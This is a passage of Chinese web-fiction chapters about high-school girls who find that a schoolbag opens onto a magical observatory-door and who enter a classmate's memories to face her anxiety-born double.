云吞面端上来了,云吞的薄皮下包着一只整虾,半个蛋黄和零星的蟹籽,花生酱拌上每一根面条。咸蛋黄口感沙沙的,虾劲道鲜香,蟹籽香味浓郁,刘征兰不禁感叹:“别人请的就是好吃!”
王海同:“回去你俩就给我还钱!”
她们说话的间隙,手机振动得厉害。王海同抽空看了一眼,发现班级群里全是礼炮和烟花特效。
“停电了!!!不用上晚自习了!!!”
不少人跑来给王海同发消息:“你小子运气真好,逃课就停电,早知道我也逃!”
颜阎和刘征兰大大松了一口气。
两人在车站和王海同告别了。直到上车,两个人才想起来套话的事。
“她应该没嫌疑。”颜阎说,“下车前我偷偷问了司机,她经常坐这班车,坐到终点站再坐回来,十七路的司机都认识她了。九月二十八号她也来了,司机可以当人证。”
刘征兰:“那就剩你们班的人了。”
颜阎很痛苦,这就代表她下课不能睡觉,要到处套话了:“我猝死了一定是律易棋的错。”
两人坐车到学校门口的车站,刘征兰刚下车就被两人架起来扔到车牌下面。
“你可算回来啦!”柳令全高壮的身体挤走了颜阎,占据了刘征兰身边的位置。颜阎不明所以地被挤了一下,但她不介意,挠挠头走了。
张晓怡也笑眯眯地站在那儿,手机的光照得她的脸惨白惨白。
两人都化了妆,张晓怡的嘴角有一小块口红没涂匀的空缺,眼影浓得吓人。柳令全的粉底没打上脖子,贯穿耳朵的钛合金耳骨钉像是一把小剑。
榕城学习氛围浓厚,面积也小,还和农村接壤,人文层面颇有大清遗风。化妆在此已经算是一种窃金弑侯般的叛逆,眉笔、口红、粉扑、杀气腾腾的高光,颇有金戈铁马的峥嵘气。路过的学生都自动绕道。
这两人加上刘征兰和康烁影,在重点班里被视作“太妹”。除刘征兰外,几人性格都张扬,酷爱化妆、奢侈品,经常违反校规谈恋爱、携带手机,笑声尖利刺耳,还会凑在一起说同学小话。
张晓怡和柳令全反以为荣。她们觉得谁人背后不说人,她们只是说话声音大了点被人听见了!
根据颜阎的分析总结,女高中生的交友分为四个类型:
一、地缘型:地理位置近所以近水楼台先交友,不会轻易吵架,调座位后很有可能拆伙。
二、继承型:在初中关系良好,高中恰好分到一个班,顺理成章抱团取暖。
三、同好型:相同爱好组成的小团体。
四、自由恋爱型:不知道怎么就成为朋友了,三观相近,友情很大概率会延续到毕业后。
康烁影、张晓怡和柳令全属于同好型,成为朋友完全出于对kpop和化妆的喜爱。
刘征兰能加入这个小团体,是因为她和康烁影初中坐过同桌,是继承型友情。靠着充当康烁影的社交挂件,避免了像颜阎一样成为独行侠。
柳令全身材高壮,一个人能把张晓怡和刘征兰都拢在影子里,她按着刘征兰,让她想跑都跑不掉:“王海同说你回来了,我们在这儿接你。”
“康烁影上课玩手机被抓了,我们都在等她,你也别想跑。”张晓怡翘着二郎腿看手机,屏幕里是男团的综艺。
柳令全不轻不重推了张晓怡一下:“都是张晓怡,死活要等她。”
刘征兰没说话,她一向插不上什么话。小团体里属她没有存在感,她也乐得自在。
她只是对张晓怡感到疑惑。
张晓怡卡粉严重的侧脸上,有青春期的痘痕,也有阳光照射的晒斑,唯独没有在馄饨店里的尴尬。
她为什么要去馄饨店打工呢?
她明明愿意在车站一直等着康烁影,又为什么在她和颜阎面前贬低她?
她此时此刻的心中,是怎么看待康烁影的呢?
此时此刻张晓
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怡的心情尚不明晰。但此时此刻的康烁影已经拿着手机,从老师办公室脱身了。
抛开老师对她化妆的指指点点,她翻开铅笔盒上的小镜子照了照。眼线ok,粉底ok,唇彩补一补,完成!
“其实你不用画。”轻柔的男声在她耳边说,“我们会给你加后期。”
“要你说!”康烁影对着镜子看了又看,还是非常不满意。脸太圆,眼睛不够大,身材也不够纤细,这样上镜绝对不好看。
“够好了够好了。”耳边的声音还在劝,这次换了一个声音,变成了吱吱的叫声,而康烁影仍然能和它无障碍交流,“后期会把你变成绝世大美女!快去吧!艺术最需要的不是美貌,而是剧情!你要用你的品德去征服观众。”
“那我去了!”
“去吧去吧!加油!”
康烁影深吸一口气,踢踢鞋跟,把栗色头发撩到耳后,向着学校西边的一个背影走过去。
冷静,冷静。她告诫自己,调整呼吸,调整声音。高一点,不对太高了,会破音。低一点,甜美一点。
“颜阎!”她说。
颜阎转过头,手里还拎着一截长长的假发。
“明天,我们年级要开仪表会。”康烁影的手指搓着亚麻衬衫,“你听说了吗?”
颜阎没听说,她在班里没朋友,消息滞后别人三年。
康烁影故作轻松地走在她身边:“明天教导主任肯定又要说我们化妆的女生是太妹了。”
“他脑子有病。”颜阎言简意赅。
康烁影笑着摇了摇她的手:“到时候你千万不要又突然离席。”
“我就离席过一次……”
高一也开过一次仪容仪表宣传大会,大家都昏昏欲睡,纷纷在下面写作业看小说。年级主任说完男生的发型,又开始说女生的穿着:“有些女生哇,整天不学习,心思,全放在打扮上啦!穿那个皮裤,牛仔裤,还化妆!说句不好听的,以前穿皮裤的,都是做不正经工作的哇!”
颜阎听得极其火大,众目睽睽下豁然起身,从大门离开了。
“反正明天你别离席。不然老师又要骂你了。”康烁影声音轻轻,“你妈妈又要被请来了。”
说到妈妈,颜阎不吱声了,表情憋屈到扭在一起。
“……好啦。”颜阎最后妥协,“我尽量忍耐。谢谢你提醒。”
康烁影粲然一笑:“没事,你总是帮我们说话,我们也得帮你呀。”
再说了,这种出风头的事,怎么能总让你来呢?
9. 书包乾坤
停电果然是律易棋的手笔。他给刘征兰和颜阎都发了个“一切搞定”的表情包,附带的还有一句话:“记得还钱。”
还钱?不把你崩了就不错了!
律易棋的态度不坏,可刘征兰脑袋里的定时炸弹是他安装的,对他必须要有一定的警惕性。
二班的可疑人士都排查完了,只剩下四班。颜阎已经打听过几个,北极兔和同桌去外面的杂货店买了同桌最喜欢的黄瓜味薯片,监控里时间对得上,画面显示她们的确带了黄瓜薯片,而小卖部也确实没有这个口味卖。
姐姐当天下午没有来学校。颜阎去问了她,她说:“我去看神婆了。”
“这年头还有这种封建迷信?”
姐姐微微皱眉,很好笑地看着她:“不然我戴在身上的是什么?”
姐姐身上戴着一大堆饰品。又是红绳穿的金铃铛,又是挂玉佛的项链,还有红头绳、笔袋里的红纸、身上的熏香味,连秋衣上都有神婆的墨水。整个人仿佛行走的宗教广告牌。
颜阎和她不熟,不了解她的家庭,也没怎么观察。今天才发现,姐姐的身体状况不好,脸色很差,而且家里迷信到了一种古怪的境界。
“学校不查吗?”
“宗教自由,学校不管。”姐姐微笑着说,“你要信吗?信了就有首饰自由,神婆还会喂你吃肉灵芝呢。”
颜阎倒吸一口凉气:“记得寻找法律援助。”
剩下的只有郁霖雨。她和颜阎关系良好,颜阎直接跳到她面前:“小郁女士,请问你九月二十八号出校门干什么?”
郁霖雨后仰:“你问这个干什么?”
“你别管!”颜阎态度嚣张,“说就是了。”
“我去买零食了。”
说谎!监控显示她回来时根本没有带零食。郁霖雨的嫌疑更大了!
可惜时间不容她再问,仪容仪表宣传大会要召开了。
所有的自习课一律作废,学生被赶鸭子一样赶去大礼堂。颜阎携带大量作业和小说,还捎带了自己的mp3和蓝牙耳机。
教导主任不出意外地又在宣扬男女有别论和学习至上论,而真正的学习至上者们已经在台下写作业了。
颜阎偷偷占了隔壁班的座位,和刘征兰并排坐着写作业。教导主任讲课讲到一半,特意点了她:“前几次讲的时候,还有人起来顶嘴。颜阎,你怎么看啊?”
颜阎一边听歌一边算数学大题。
刘征兰一掌把她拍醒。颜阎摘下耳机站起来,神情厌倦:“呃……您又不是不知道我会说什么,一定要大家都不开心吗?”
女同学们爆发出一阵笑声。
两个人都没看见康烁影失去控制的表情。
康烁影烦躁地划着草稿纸:“她又来了!说好了不出风头的!”
吱吱声说:“她都颜阎了。”
“下一个……下一个……教导主任再说一句我就站起来。”
教导主任不负众望,又开始发表高见:“有些同学哇,总说脏话,男生倒还好,你们女生怎么也说脏话!以后走上社会你们就知道啦……”
康烁影豁然起身,直直走向礼堂门口。朋友们的呼唤在耳边响起,但她不在乎,她现在需要的只是氛围。
脚步要快,眼神要直视,坚定的反抗就是需要这样的舞台!礼堂、阶梯、众人的目光和暗处的窃窃私语,老师的愕然和权力被蔑视的愤怒。这一切都是她的衬托,所有的语言和动作,都只是在衬托她的人格。
时间似乎变慢了。
她的心仍旧跳得很快。
这就是万众瞩目。这一刻,她像是世界的主角。
耳边的呼唤变响了。
康烁影转头,颜阎绝望的神情一览无余。
“我服了你了天才!”颜阎抓着她穿过主席台,顶着老师的怒斥和同学们嘈杂的呼喊,“我都闯过一次门了,哪还能给你留着!门口有保安!走窗户!”
这个时候,视线尤其像刀子。她们闯过同学的目光,踩着老师的注视,向着生的出口狂奔。
礼堂外有阳台,和教学楼内部的走廊相连。颜阎推门而出,后面是追着她们的老师。
颜阎走投无路,一咬牙一跺脚,拉着康烁影直奔二班,找到刘征兰的座位,把那个绿色书包撑开,照着她的脑袋套下去。
康烁影整个人都被书包吞下。
老师的脚步近在咫尺。颜阎也钻进书包里,脚下一空。
眼前的并非是虚空,也不是神秘的外星人基地。
是天文台。
书包连接着学校的天文台。
天文台一如既往地衰败、杂乱、无趣。没有窗帘的玻璃外晚霞弥漫,像是香气扑鼻的番茄浓汤。
这里的地面堆着很多杂物。大部分杂物都堆在门口,明显能看出是从门口丢进来的。
多出来的杂物、时间错误的晚霞、敞开的门,这些都暗示着这里不是她们熟悉的天文台。
杂物都奇形怪状,颜阎在这里找到了亮点液,还有她们曾从书包里拿出的电线、矿石。
这里真的是书包里面!
天文台的门大敞着,外面黑糊糊的。颜阎拽了根电线,想探一探。康烁影一把推开她,将门重重地合上了。
“你干什么?”颜阎莫名其妙。
康烁影嘴唇蠕动,没有发出声音,脸上拿捏得当的表情出现了一丝裂痕:“别开门……”
“又不是我开的,它自己一直开着。”颜阎辩解。
“别再开门了……”
“不开门我们出不去啊!”
康烁影没有说话,只是紧紧握着门把。
颜阎原地转了两圈,确定没别的路可以出去,只能去给康烁影做心理建设:“没事,开门吧。有什么事你先把我推出去。”
康烁影扶着门,嘴唇被牙咬出一丝红线。
颜阎软下声音,又哄又宽慰,挽着康烁影靠墙蹲下,说了些温柔的话,让她软和得像个面团。
然后颜阎迅速背叛一切温言软语,一个箭步上前,握住门把,发出胜利的怪笑。
“别开!”康烁影大叫。
“就开!”颜阎不听,“它还能送我去巴黎不成!”
她打开门,和埃菲尔铁塔上的金发外国女人面面相觑。
她把门关上了。
“重来。”颜阎清了清嗓子,“它还能送我去金字塔不成!”
她打开门,门外经过一只嚼草料的骆驼,黄沙扑面而来,呛了她满嘴。三角形的尖塔近在咫尺。
“纽约!”
“新加坡!”
“伦敦眼!”
“西班牙阶梯!”
“柏林大教堂!”
“我家!……今天吃排骨?偷吃一块。”
康烁影在角落如临大敌。
颜阎在家里灶台前啃了一块排骨,看到她瑟瑟发抖,还给她带了一块儿:“吃吗?我奶奶出品。”
“不吃!”康烁影一步跨到门口,失声道,“我要回去了!”
她把门关上:“教室!教室!教室!”
打开门,门外的果然是教室。老师已经走远了,教室
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空空荡荡的。
颜阎站在原地,啃完排骨,回家扔了骨头,嘟嘟囔囔地回到天文台,开始考虑怎么跟老师解释自己携人跑路这件事。
康烁影跌跌撞撞地扑向座位,中途踩坏了两只笔,撞开了一排桌子。
“你刚才去哪了?”轻柔的男声问道,“我们找不到你。”
康烁影没有说话,她的脑海中再次浮现九月二十八号那天的场景。
莫名其妙出现的绿色书包、没有尽头的异空间、她打开门后,那寂静无声的宇宙……
“能直通宇宙!”颜阎摇着刘征兰,“书包里真的有任意门。我真没骗你。”
刘征兰拨开她:“好的,好的。但我只是在问你,你冲出去拽康烁影干什么?她只是被门卫拦住,又不是会被吊死。”
颜阎也说不出来为什么。她觉得自己就是该拽她一把,不然场面就会陷入前所未有的尴尬中。
“那样的话就不酷了。我觉得她站起来也是做了心理准备的,要是这种尴尬让她从反抗者变成了笑话,多可怕啊。我下辈子想起来都发抖。”
“你做好人好事,做出来一个任意门?”
“这就是好人好报!”颜阎美滋滋。
刘征兰深入书包进行调查。地上有一大堆乱七八糟的东西不假,门可以到处移动也不假。她踢开地上的东西,在心里默念:齐泽克面前。
她推门。
门外是天文台的楼梯,她试了一下,走不出去,面前像是有一层看不明的阻隔。
“我妈妈面前。”
门外还是天文台的楼梯。
“世界上最高的树面前。”
门推开了,外面是巨大的树干的一角。门和树干贴合地过于紧密,她甚至无法把门完全推开。刘征兰上手摸了摸,树干粗糙,一列虫子在井然有序地向上进军。在虫子爬进门之前,她赶紧把门关上了。
“……复活节岛上一个没人经过的地方。”
门开了,她站在一个小小的土坡后踮起脚才能看见远处巨大的石像脑袋和五颜六色的外国游客。
看来需要一个具象一些的地点。可以适当有一点要求,但不能指定到某个人面前。
颜阎反复开关门:“平行宇宙。平行宇宙的地球。平行宇宙的榕城!”
门外仍是楼梯。
颜阎宣布:“它去不了平行宇宙。”
两个人在门口蹲了一阵,又试了几次,颜阎提议:“去外星?”
“不去。”刘征兰道,“谁知道外星文明能不能感知空间跳跃这种东西。外星人入侵地球还好,但万一咱俩一出现就被击毙可怎么办?”
确实。而且她们还没高考,没时间旅游,外星探险只能往后稍稍。
“我要去找薛定谔的猫。”刘征兰站起来,“说不定它还在那个盒子里呢。”
事实上,薛定谔的猫早就逃出来了,并在野外寿终正寝。这也是为什么薛定谔无法通过它的喵喵声确定它的死活。但她们都不知道这件事。所以刘征兰没有找到薛定谔的猫。
颜阎想了一会儿,也站起来:“拉普拉斯妖在哪?”
这就是不好好听物理老师扯皮的下场,她完全忘记了拉普拉斯妖已经被证伪了。于是她也失败了。
总而言之,这个任意门给她们带来了三件好事。
“点餐不用配送费了!”刘征兰很高兴。
“上学不会迟到了!”颜阎更高兴。
“免费占用了一块地皮!”两个人齐声欢呼,然后开始打扫天文台,立志让这里变成她们的秘密基地。
10. 你的不坚定
心理老师每月需要和几个同学谈心,把结果制成心理汇报单上交。他将这项任务下发给各班的心理课代表,让他们每月选出两对童男童女当祭品,把体育课的大好时光献给高中生心理健康建设,即:上楼听他说废话,自己做讲座记录上交。
因此各班的心理课代表执掌着一班生死,颜阎虔诚地赐名:大祭司。
郁霖雨就是被大祭司献祭的倒霉蛋。又是一节大好的体育课,她不能睡觉,不能下楼打羽毛球,居然要在顶楼听心理老师讲二十年前的PPT!
看着窗户,她真想跳下去,在触地前的一瞬间忽然身体一轻,变成鸟飞起来,扭头往南方展翅,再也不回来。
倒霉的事总是一件接着一件。心理老师翻了翻名册,恰好点了她:“郁霖雨是吧?”
郁霖雨垂头丧气地站起来:“是我……”
“来,你面前的这张图,你看到了什么?”
郁霖雨伸着脖子看那张同时具有海洋、天空、沙漠、猫和人类侧脸等各种要素的图:“呃……人脸?”
“焦虑。”心理老师一锤定音,“这明显是焦虑!郁霖雨同学,你有严重的焦虑症状,你对现状感到不满,又对未来感到担忧。”
如果刘征兰在这儿,她就会冷笑。如果颜阎在这儿,她就会大声冷笑:好嘛,来打白工结果确诊焦虑症了!
“那我要是看到海呢?”坐着的拉面问。
“抑郁。这明显是抑郁的症状!你的现状充满了痛苦,又对未来感到不满……”
郁霖雨心中的不满无处发泄,只能偷偷在桌子上画小乌龟。
郁霖雨最近和商博良绝交了。
商博良不姓商,姓张,是英语课代表,立志成为翻译,颜阎亲切地称之为商博良在世。连带着将英语全班倒数第一称为罗塞塔石碑。
商博良是无可挑剔的可爱女生。这个“可爱”是返璞归真的原意——值得喜爱。从成绩,到性格,再到长相和人品,压根没有显著的缺点。
她和商博良的吵架源头再简单不过了。商博良的同桌——拉面,跟郁霖雨说商博良的坏话。
说的具体是什么她记不清了,反正是很小很小的一件事。拉面脑袋可能是临时出了问题,也可能是低估了郁霖雨和商博良的友情,居然跟商博良的朋友说她的坏话。郁霖雨震惊不已地看着她,转头就把这件事告诉了商博良,从此和拉面再不往来。
但是商博良把这件事忘记了。
她可能是忘记了,也可能是无法忍受和同桌绝交的压抑,谎称忘记了(郁霖雨不愿意这么想)。总之,她和拉面渐渐和好了,郁霖雨和拉面还在绝交。
郁霖雨也私下抗议过:“你能不能别老是和拉面说话?”
商博良意在调停:“她人不坏的。我和她就说几句话,不算是朋友。”
一次。
“你和拉面少说话,我和她关系不好。”
“一定少说。”
又一次。
“又跟拉面玩,又跟拉面玩!不跟你说了。”
“别生气啦……”
再一次。
“拉面?”
“嘿嘿……”
终于,她们最后的对话来了。
商博良小心翼翼地抛出话头:“你能不能别管我的交友呀?我觉得这个距离感有点……太近了……我不喜欢朋友管我交其他朋友。”
郁霖雨看着她。她露在额前两侧的发丝,光滑的皮肤,微皱的眉。她感觉有什么透明而晶莹的东西碎掉了,这碎裂声令她的眼睛像一汪温泉。
她小声地,坚定地说:“我讨厌她。”
“我真的不喜欢别人管我的交友。”
“……那就算了。”
两个人对坐着,在喧闹的课间,众目睽睽之下。谁也没有高声怒斥,谁也没有声嘶力竭。两人很正式地提了绝交,然后再也没有说过话。
想起来真幼稚。绝交,好坚决的词。大人是不会用这种毫无转圜余地的词汇的。可在郁霖雨心中,没有比这更具契约性质的词汇了。
在这尴尬的局面里,颜阎作为班里唯一没有朋友的局外人挤了进来。
“郁霖雨——”她小声拖着尾音,“走哇,下节课地理,我们选生物的自习,快去占座!”
颜阎和商博良在一起补课,没事也夹在她和商博良之间玩。自从和拉面吵架后,郁霖雨就和她坐在一起上自习了。她们把书带到隔壁日语生的教室,从后排的桌子下拉出长板凳,坐在了板凳的两侧。
“我支持你。”颜阎说。
“……什么?”
“我支持你。”颜阎重复道,“我喜欢商博良,我也喜欢你,但是这件事我支持你。
我小学的时候也因为帮朋友出气跟别人绝交,结果她俩和好了。我不能说商博良是坏人,和同桌吵架是非常痛苦的,你看我就知道了。不如说,和讨厌的人坐得那么近是很痛苦的,让自己的处境轻松一点没有错,但我认为不该把朋友放在一个尴尬的位置,更何况朋友是为了她才把自己放在尴尬的境地。所以在你们的争执里,我站你。”
郁霖雨简直想笑:“你好像在投诚一样。”
“就是投诚啦。”颜阎在草稿纸上画奇怪的线条,“我喜欢商博良,所以我还是会和她说话的。你也知道我在班上没朋友,有人跟我说话我得抓紧说,不然会憋死。但我也喜欢你,所以你和她如果再因为这种事吵起来,我肯定和你在一边。”
郁霖雨沉默了一阵:“谢谢。”
“不用谢。”草稿纸上的奇怪线条被她画成了一个简陋的高马尾小人,正在得意地踩着石头做出“闪亮登场”的姿势,“请叫我正义卫士。”
颜阎建议她:“你最近孤单了可以去公海。”
“公海?”
“公西华和公冶长那对同桌的小团体。她们收留所有和朋友吵架的流浪小孩儿。”
“你怎么不去?”
“我没朋友是自找的。”颜阎道,“我不知道聊什么,也不喜欢班里其他人的话题,不然我早插足你和商博良了。本来你俩在一起玩,我当宠物,过得好好的。现在好啦,我被弃养啦!以后我每天下课都得去二班找刘征兰了!”
为了她的身心健康,颜阎整理出了一整套理论,也就是后来大名鼎鼎的女高中生交友分类法。
根据这套理论,她和商博良是完全的继承制。两人初中同班,高中被分到了一起,才得以继续这份本就不亲密的友情。
但高中的友情不在亲密,而在紧密。
在一个高压的集体环境中,友情太重要了。爱情的风险太高,小团体索取的精力又太多,想来想去,友情最合适了。
朋友、情侣、小团体,都是学校环境下诞生的互助集体,它的构成类似传统的家庭,并且真的承担了一部分家庭的责任。它的内部会有很多不成文的规矩,照顾彼此的情绪、成为利益共同体、并且用爱来粉饰混淆彼此的付出。
学生的爱太奇怪了。选择太少,需求又是如此迫切。朋友和朋友之间并不彼此喜欢,爱人和爱人也不怎么心动,大家互相望着,挽着手,下课在一起说些漫无目的的话,只是为了逃避某种孤独。
但不交朋友、不去经营任何关系呢?郁霖雨想过,但代价太高了。
在遇到痛苦的时候,在犯错的时候,在受到欺负的时候,小团体会自动成为后援。因为她们也可能会有困顿的时候,到时候你也必须报之以同样的支持。经营关系更像是一种风险预防。
况且,体育课,下课的十分钟,放学时从教室到学校门口的路。如果它们都是无言的,如夜空般沉默的
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,本就脆弱的精神状态根本无法继续支撑。是虚幻的爱滋养我们的心。
这种毫无营养的预制爱,虽然不健康,但是好吃,管饱。大家如饥似渴地咀嚼这份爱,让爱在口腔里咕嘟咕嘟冒着可乐的甜气泡。
爱在理论化之后,竟然如此刺耳。郁霖雨感到自己的心也咕嘟咕嘟,气泡碰到心壁时的破裂简直令牙齿酸痛。
无论如何选择,她都会后悔的。不管是耗费精力,重新交一个朋友,吃一份预制爱,还是从此孑然一身来去匆匆,她都会后悔的。
初中时,她体会过孤独的滋味,那真是令人恐惧。当你知道在教室里没有任何人在期待你的到来,走向座位的每一步路似乎都是错的,在学校的每一秒都是煎熬。她对学校产生了抵触情绪,甚至差点因此不去上学。
所以她后来给女同学们当情感树洞,听她们讲感情问题,为她们分析情感经历。但她不擅长说好话,这份工作也很快结束了。
等她在班上找到交心的朋友时,初中就结束了。
现在想起来,她只感受到好笑和愤怒。
为什么要去讨好别人?为什么不早点去了解那个朋友?真是幼稚啊。
初中只有三年,虚浮的阶段性友谊怎么能和中考的重要性相比。她要是把一切精力放在学习上就好了。
她已经忘记了自己当时的慌乱和孤独,只是怜悯地后悔着。
当她意识到自己在后悔的那一刻,十一月的寒风顿时席卷了她的身体。
她知道当时的自己真的已经很努力了,可那些痛苦,那些焦灼,都离她远去了。她向身后投去的,居然是一种责怪的目光。
她一开始明明是为了能考上重点班才回避社交的,后来也是为了未来的心理状态才给女同学们当树洞。
她真的已经很努力了。即便这样,高中的自己也觉得不够吗?
那更远的未来里,她会怎么看待她如今的选择?是会觉得幼稚吗?还是将它一笑而过呢?
她想不通。于是跑去问颜阎:“你后悔了怎么办?”
“我从不后悔。”颜阎理直气壮,“我又不能穿越,我做的决定都是那个时候我能做的最好的。我从不苛责自己!不管什么时候,我做的决定就是我最想做的决定!耶!”
她耶完,突然想起什么,从桌洞里拿出一个包装袋里的黑绒头箍,头箍上有亚麻布扎的蝴蝶结:“差点忘了,送你。”
“送我干什么?”
“想起来了就送你呗,哪有什么为什么,你就当随机掉落好了。”
颜阎随机出点事已经很正常了,随机送点礼物应该也正常。郁霖雨拆开摸了摸它,手感细腻,也没有塑料的异味。她把头上的塑料头箍摘下来,换上黑绒的,感觉挺合适。
“可爱!”颜阎鼓掌。
“那我就收下了?”
“就是送你的!喜欢吗!有什么感觉吗?”
“感觉?感觉就是……挺喜欢的?”
颜阎笑了笑,郁霖雨总觉得她话里有话:“那就好。”
郁霖雨把原来的头箍放进塑料包装袋里。就在她低头捻封口的胶时,眼角里出现了一个奇怪的身影。
“颜阎。”
“嗯?”
“你有没有看见什么人?”
颜阎扭头,顺着她手指的方向看了又看,最后宣布:“没有。”
“可是……”郁霖雨欲言又止,“没什么,算了。”
“拜拜!”
颜阎蹦蹦跳跳地回到座位上了。而郁霖雨,她盯着那个人影,一步一步地后退。人影也一步一步地逼近她。
那个人什么也不说,什么也不做,跟到她的座位前。她高跟鞋的声音回响在座位旁,徘徊在放学的路上,悄然飘到她的房间里。如同她的思绪,寸步不离。
11. 二重身
黎明前的黑暗像蜂蜜一样浓稠。
郁霖雨想死,想尖叫,也想睡觉。
学校门口的车很多,三秒才能挪一步,即便如此,骑车的学生不愿意让屁股离开舒适的座椅。郁霖雨完全理解他们。早晨起床,四肢就像刚长出来一样,新鲜、僵硬、难以操作。站在地面上的感觉像用两片尖刀支撑着身体。而且小美人鱼体验卡需要一两节课才能失效。
此时代步工具的好处就体现出来了。
但在校门前,什么代步工具都不顶用,就是哪吒也得从风火轮上下来徒步走。
学生分成两列,队伍像一条笨拙的巨虫在地上缓慢爬动。除了车轮碾过沥青路的辚辚声外,队伍里没有一丝响声。
像是有一把刀将学校切割出去,独立存在于某个空间中。在这个空间里,生的气息被黑暗吞噬殆尽,连风也静默。
要是世界毁灭就好了,有人跳楼停课就好了,学校爆炸就好了……
在她沉浸于自己的思想难以自拔时,走在前面的情侣分开了一瞬,他们之间露出一个模糊的背影。那个背影太过熟悉,熟悉得像梦一样。
她想呼喊,但最终没有喊出口。
她和商博良已经绝交了。
她走进教学楼,经过作为交通枢纽的走廊,从天井旁边每层都布置了透明玻璃的筒状楼梯走上三楼,正对着西方的防盗窗——或者说是防跳窗——的铁栅栏之间,有一轮纤细的月亮。每个上楼的人都抬头看了一眼,很快又低回去。
又一天开始了。
教室的灯白晃晃地悬着,郁霖雨困倦地点着头。
她想和朋友说话,却发现自己在班上并没有十分亲密的朋友。她想学习,却总感觉躁动和焦虑。她想抛下一切去挥霍时间,父母担忧的表情却总在脑海里浮现。
快学习,别想其他东西了……
熬一熬,熬一熬……高中很快就过去了……
考上大学就好了。这一切都是为了未来考虑……
她的耳边,响起了有节奏的高跟鞋声。
“走开。”郁霖雨低声说。
高跟鞋停在她身边。
“走开。”
回应她的是周围碎碎的背书声。
读书声里,颜阎撂下课本。
“想死啊。”她想。
此时此刻,就算是世界毁灭,她也只会大笑着说:“来吧!给我找点乐子!”
发现书包里的天文台后,她们激动了几分钟,很快就意识到自己根本没时间利用它。她们连睡觉时间都不够,还要打扫天文台,根本没时间在天文台聚会。
学校毁灭仍不足以解决她的困境。除非学历不再,教育制度消失,进而导致全世界秩序崩塌,她才能勉强松一口气。
……对了,从天文台里拿出来的杂物里有一个被封在包装袋里的心理治疗仪,听律易棋说能治疗焦虑和ptsd。最近郁霖雨心情特别不好,她送给她了,不知道效果如何。
颜阎回头看了一眼。
颜阎把头扭回来。
看来效果不好。
她下课就强打精神问候郁霖雨去了。
“小郁女士啊。”她循循善诱,“你最近怎么样啊?”
郁霖雨含糊道:“还行。”
“你明明看起来腰腿酸痛精神不振,好像身体被掏空。”
腰腿酸痛精神不振的路过学生都把自己捋直了。
郁霖雨左右看了看,又对着颜阎反复端详,就在颜阎浑身发毛决定放弃的档口,郁霖雨踮起脚搂着她的肩膀和她咬耳朵:“我身边发生了一些怪事。”
“你说。”颜阎洗耳恭听。
“有一个奇怪的女人,一直在附近看着我。”
“她现在还在吗?”
“嗯。”郁霖雨指向她身后,“一直在呢。”
郁霖雨指着的方向空无一物,只有空荡荡的走廊和银子一样的阳光。
正午阳光的影子里有一枝桂花。
郁霖雨坐在桂花树下的长椅上,颜阎和刘征兰绕着她转了好几圈,没看出什么不一样来。
“能行吗?”郁霖雨道,“要上课了。”
“离下午的课还有半小时,不急!”颜阎趴在椅背上,摆弄她头上的发箍,“你说的那个女人,现在在哪里?”
“就在我面前站着。”
“长什么样?”
“蓝白细格衬衫,全套黑色西装,哦,没穿裙子,是长裤。盘头发,戴着圆环形状的耳环。高跟鞋。”
随着郁霖雨的叙述,一个人影像是水滴凝结般渐渐显出。西装、衬衫、高跟鞋……
“还有……”
人影沉默地站在那儿。
“她长得和我一模一样。”
郁霖雨的面容冷冷地面对着她们。
两个人打了个寒颤。
“其实还挺帅的。”刘征兰小声说。
“把高跟鞋去掉就更帅了。”坚定的舒适主义者颜阎说。
“你闭上眼睛,能睡就睡。无论听到什么都不要睁开。”
郁霖雨依言闭上眼睛。在她看不见的地方,刘征兰对着颜阎一通张牙舞爪:“你纯狗!你多管闲事!让你送她心理治疗仪!”
“这不是看她最近心情不好吗……”
“这下好了!怎么帮她!”
“我看说明书了,解决她心中的焦虑就可以了。让我找找……”
颜阎在郁霖雨的黑绒头箍上找了一阵,摸到一个发热的地方。她轻轻向下一按,然后从书包里拿出另外两个头箍,和刘征兰一人一个戴在头上,然后在郁霖雨身边坐下,也闭上了眼睛。
三个人远程联机上了。
颜阎感觉脑海里一阵空白,随后不受控制地出现了画面。
脚下是尘土飞扬的水泥路。远处是金灿灿的油菜花和高远的天空,云层厚厚地堆在双层自建房上。
迎面跑过来一个脏兮兮的小姑娘,她怀里抱着一条黄色土狗。小姑娘圆乎乎的下巴垫在土狗的脑壳上蹭啊蹭,眼泪大颗大颗滚到小狗毛绒绒的额头上。颜阎追着她看了几眼,乐了。
这鹅蛋脸,圆头鼻,有点不乐呵的小眼神,完全就是郁霖雨嘛!<
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颜阎和刘征兰一直跟到她家里。小姑娘的家是普通的农村自建房,门口的水泥地上有小狗的爪印。她抱着那条小狗一路闯进院子,在水磨石地面上打滑摔倒又爬起来,蹭蹭窜上楼顶,跨坐在女儿墙上,扬起声音吼道:“你们谁也不许卖了它!”
楼下的奶奶在翻稻谷,铲子下一片黯淡的黄。看到郁霖雨爬墙,她拍着大腿叫起来:“儿啊!儿啊!”
“你们要是敢卖了它!我就从这里跳下去!“郁霖雨满脸泪痕,“我一定会跳下去!”
小狗呜咽着舔舐她的眼泪。
家长们陆陆续续从自建房的各个门里钻出来,仰头看着他们家最小的女孩儿。有个纹眉女人尖叫起来,跺着拖鞋喊郁霖雨下来。奶奶扶着她,呜呜地用乡音骂着,刘征兰听懂了一点,似乎在骂郁霖雨。
在尖叫和怒骂中,郁霖雨身后的铁艺门悄无声息地打开了。她并不强壮的父亲抱住她的腰,将她拖回女儿墙后。
一瞬间,哭泣就逆转了。楼下的大人们不再抽泣,取而代之的是郁霖雨的哭叫。
大人们有些尴尬地彼此点头,好像什么常规的东西消失了,大家一时无所适从。直到郁霖雨的哭叫和她父亲的怒吼变大了,大家又找回了熟悉的感觉,笑容在他们脸上聚集。
郁霖雨的妈妈在拖鞋上蹭了蹭脚跟:“为了只狗闹成这样……”
旁边的几个中年人互相揽着脖子:“拍下来了不?拍下来了不?”
“拍下来了,等她长大后给她看。哎哟……你看这哭的,以后拿去笑话她。小孩子哟……”
而就在不远处,院子的正中央,在嬉笑的大人中,红头箍、穿着初中校服的郁霖雨站在那儿。
她的表情是轻蔑的,冷的,似笑非笑的,简直像看着一场无趣的话剧。
两人尝试给这些大人两拳,失败了。最后只能心情沉重地坐上院子里的摇椅。
“你觉得她的焦虑是什么?”刘征兰率先发问。
“……那只小狗?”颜阎迟疑道,“我没听她提过。”
刘征兰真不想掺和这些事,但真发生在她面前了,她又实在放不下:“我们从哪找来新的小狗给她?你虽然狗但也不能真给她当狗吧!”
